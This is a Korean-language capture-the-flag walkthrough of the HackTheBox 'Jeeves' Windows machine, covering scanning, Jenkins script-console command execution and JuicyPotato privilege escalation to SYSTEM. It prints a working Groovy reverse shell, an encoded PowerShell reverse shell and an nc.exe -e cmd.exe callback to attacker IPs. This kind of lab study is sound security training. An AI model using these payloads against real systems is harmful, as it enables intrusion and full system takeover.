1. 정찰
nmap 수행
┌──(root㉿BOOK-2S941CKO4U)-[/home/surckers]
└─# nmap -p 80,135,445,5000 -sCV --min-rate 10000 10.129.249.191
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 23:54 KST
Nmap scan report for 10.129.249.191
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5000/tcp filtered upnp
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m58s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-07-01T19:54:54
|_ start_date: 2024-07-01T16:09:47
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.02 seconds
└─# nmap -p 50000 -sCV --min-rate 10000 10.129.249.191
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 01:11 KST
Nmap scan report for jeeves.htb (10.129.249.191)
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.61 seconds
50000번 실수
50000번 포트 익숙하지 않다!
ffuf 수행
┌──(root㉿BOOK-2S941CKO4U)-[/home/surckers]
└─# ffuf -u http://jeeves.htb:50000/FUZZ -w list/directory-list-2.3-big.txt -t 1000
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://jeeves.htb:50000/FUZZ
:: Wordlist : FUZZ: /home/surckers/list/directory-list-2.3-big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 1000
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
askjeeves [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 765ms]
:: Progress: [71918/1273833] :: Job [1/1] :: 1744 req/sec :: Duration: [0:00:40] :: Errors: 0 ::
2. exploit
해당 서비스에 웹에 접근 해보면, jenkins 가 떠 있으며,
스크립트 콘솔을 통해 서버 측 groovy 스크립트 수행 가능
def command = "net user"
def process = command.execute()
process.waitFor()
println("Current user: ${process.in.text}")
//혹은
println("cmd /c net user".execute().text)
서버측 명령어 수행 가능 여부 확인 되어,
reverse shell 시도
groovy 스크립트 shell이 있어 해당 쉘 사용
String host="10.10.14.51";int port=3333;String cmd="powershell";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
느린건지 서버에서 계속 로딩 중이고 shell이 떨어지지 않아, powershell 스크립트 사용
"powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAxACIALAAzADMAMwAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==".execute()
여기서 잠깐 groovy 스크립트의 사용 쓰임새 알아보쟈!!
- execute() 함수를 사용하여 외부 명령어를 실행
def command = "echo Hello, World!"
def process = command.execute()
// 명령어의 출력 읽기
def output = process.text
println "Output: ${output}"
// 특정 Job 이름 설정
def jobName = "example-job"
// Jenkins에서 해당 Job 가져오기
def job = Jenkins.instance.getItem(jobName)
if (job) {
// 새로운 빌드 트리거
def build = job.scheduleBuild2(0)
// 빌드 완료를 기다림
build.get().waitForStart()
build.get().waitForCompletion()
// 빌드 결과 출력
println("Build result: ${build.get().getResult()}")
} else {
println("Job not found: ${jobName}")
}
User 획득
Root 따러 드가자아~!
3. 권한 상승
윈도우의 기본 whoami /priv
PS C:\Users\Administrator\.jenkins> net user
User accounts for \\JEEVES
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
kohsuke
The command completed successfully.
PS C:\Users\Administrator\.jenkins> winber
PS C:\Users\Administrator\.jenkins> winver
PS C:\Users\Administrator\.jenkins> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Users\Administrator\.jenkins>
종훈 선임님이 말하셨지~! SeImpersonatePrivilege = Juicy~~~~~~~~Poooootato~!!이 권한 목록을 보면, 현재 사용자에게
- SeChangeNotifyPrivilege: 파일 시스템 및 레지스트리의 변경 사항을 모니터링할 수 있는 권한
- SeImpersonatePrivilege: 클라이언트 인증 후 클라이언트를 가장할 수 있는 권한
=> Token Impersonation 공격 : 시스템 내에서 더 높은 권한의 토큰 획득 공격
=> Pass-the Token 공격 : 다른 시스템의 인증 토큰을 훔쳐서 이를 사용하여 네트워크 상의 다른 시스템에 인증하는 방식 - SeCreateGlobalPrivilege: 전역 객체를 생성할 수 있는 권한
다만, Juicy Potato 는 Windows Server 2019 and Windows 10 build 1809 onwards 에서 사용 불가
PrintSpoofer, RoguePotato, SharpEfsPotato 가 대신 사용 가능
PS C:\Users\Administrator\.jenkins> systeminfo | findstr OS
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.10586 N/A Build 10586
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
BIOS Version: VMware, Inc. VMW71.00V.21805430.B64.2305221826, 5/22/2023
PS C:\Users\Administrator\.jenkins>
Juicy Potato 에 대해서 잠깐 설명!
RottenPotatoNG tool 에 기반을 두고 있으며, RottenPotatoNG 는 BITS(Background Intelligent Transfer Service) MITM 을 수행 하는 기법임
=> 127.0.0.1:6666 에 리스너를 설정, BITS 서비스가 해당 포트로 요청을 보내도록 해, 토큰 획득
=> 전제, SeImpersonate 또는 SeAssignPrimaryToken 권한
=> 문제점 : BITS 서비스 비활성화 되면 사용 못함, 6666포트 사용중일때 사용 못함
대체 권한 상승 기법
- JuicyPotato: RottenPotatoNG의 후속 버전으로, 더 많은 CLSID와 COM 객체를 사용하여 SeImpersonate 권한을 이용한 권한 상승을 시도
- PrintSpoofer: SeImpersonate 권한을 이용하여 프린터 스풀러 서비스의 취약점을 공격하여 권한 상승을 시도
- RoguePotato: RottenPotatoNG와 유사한 공격 기법을 사용하지만, 다른 COM 서버를 사용하여 공격을 수행
> CLSID (Class Identifier)는 COM 객체를 고유하게 식별하는 128비트 식별자
(윈도우 버젼별 CLSID : https://ohpe.it/juicy-potato/CLSID/)
JuicyPotato allows you to: (옵션 정도로 생각하면 될 껏 같다)
-
Target CLSID pick any CLSID you want. Here you can find the list organized by OS.
-
COM Listening port define COM listening port you prefer (instead of the marshalled hardcoded 6666)
-
COM Listening IP address bind the server on any IP
-
Process creation mode depending on the impersonated user’s privileges you can choose from:
-
CreateProcessWithToken (needs SeImpersonate)
-
CreateProcessAsUser (needs SeAssignPrimaryToken)
-
both
-
-
Process to launch launch an executable or script if the exploitation succeeds
-
Process Argument customize the launched process arguments
-
RPC Server address for a stealthy approach you can authenticate to an external RPC server
-
RPC Server port useful if you want to authenticate to an external server and firewall is blocking port 135…
-
TEST mode mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See here for testing

-
Set-ExecutionPolicy RemoteSigned -Scope Process==>Restricted: 스크립트를 실행할 수 없습니다. (기본 설정)
==>AllSigned: 모든 스크립트와 구성 파일은 신뢰할 수 있는 게시자의 디지털 서명으로 서명되어 있어야 합니다.
==>RemoteSigned: 로컬에서 생성된 스크립트는 서명이 필요 없지만, 인터넷에서 다운로드한 스크립트는 서명이 필요합니다.
==>Unrestricted: 모든 스크립트를 실행할 수 있습니다. (인터넷에서 다운로드한 스크립트를 실행할 때 경고가 표시됩니다.)
==>Bypass: 모든 스크립트를 무조건 실행합니다. (보안 검사 없음) - CLSID 찾는 ps1 실행 시
- 리스트로 포트 및 CLSID 매핑 시 (이게 꼭 필요한 가 싶음, 그냥 열린 포트에 어떤 CLSID 다 될껏 같은데)

> Juicy 실행 해보자
PS C:\Users\kohsuke\Downloads> .\JuicyPotato.exe -l 10000 -c "{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}" -p c:\windows\system32\cmd.exe -a "/c c:\users\kohsuke\Downloads\nc.exe -e cmd.exe 10.10.14.57 5555" -t *
Testing {42CBFAA7-A4A7-47BB-B422-BD10E9D02700} 10000
......
[+] authresult 0
{42CBFAA7-A4A7-47BB-B422-BD10E9D02700};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
역시 가용한 포트에 사용할 수 있는 clsid 넣으면 되는 거였음

하지만 이문제는 여기서 끝이 아니었다는.. 영영 못 풀뻔
띠로리...
일단 root flag 를 얻긴 했다 ㅎㅎ
저런 형태의 파일을ADS( Alternate Data Streams) 이라고 하는데 NTFS 파일 시스템에서 파일에 데이터를 숨길수 있다고 한다!
음 다음 부터 침투테스트를 할때 window 서버에 먼가 쌔한 파일이 있으면 잊지 말자
dir /R : 대체 스트림 보여주는 옵션
attrib 명령어로는 대체 데이터 스트림 존재 여부를 알 수는 없을 껏 같다.
-The end-
'Hacking > HackTheBox' 카테고리의 다른 글
secnotes (win) (1) | 2024.08.05 |
---|---|
permx (Linux) (2) | 2024.07.23 |
Union (Linux) (1) | 2024.06.27 |
pov (win) (0) | 2024.06.12 |
solarlab (0) | 2024.05.29 |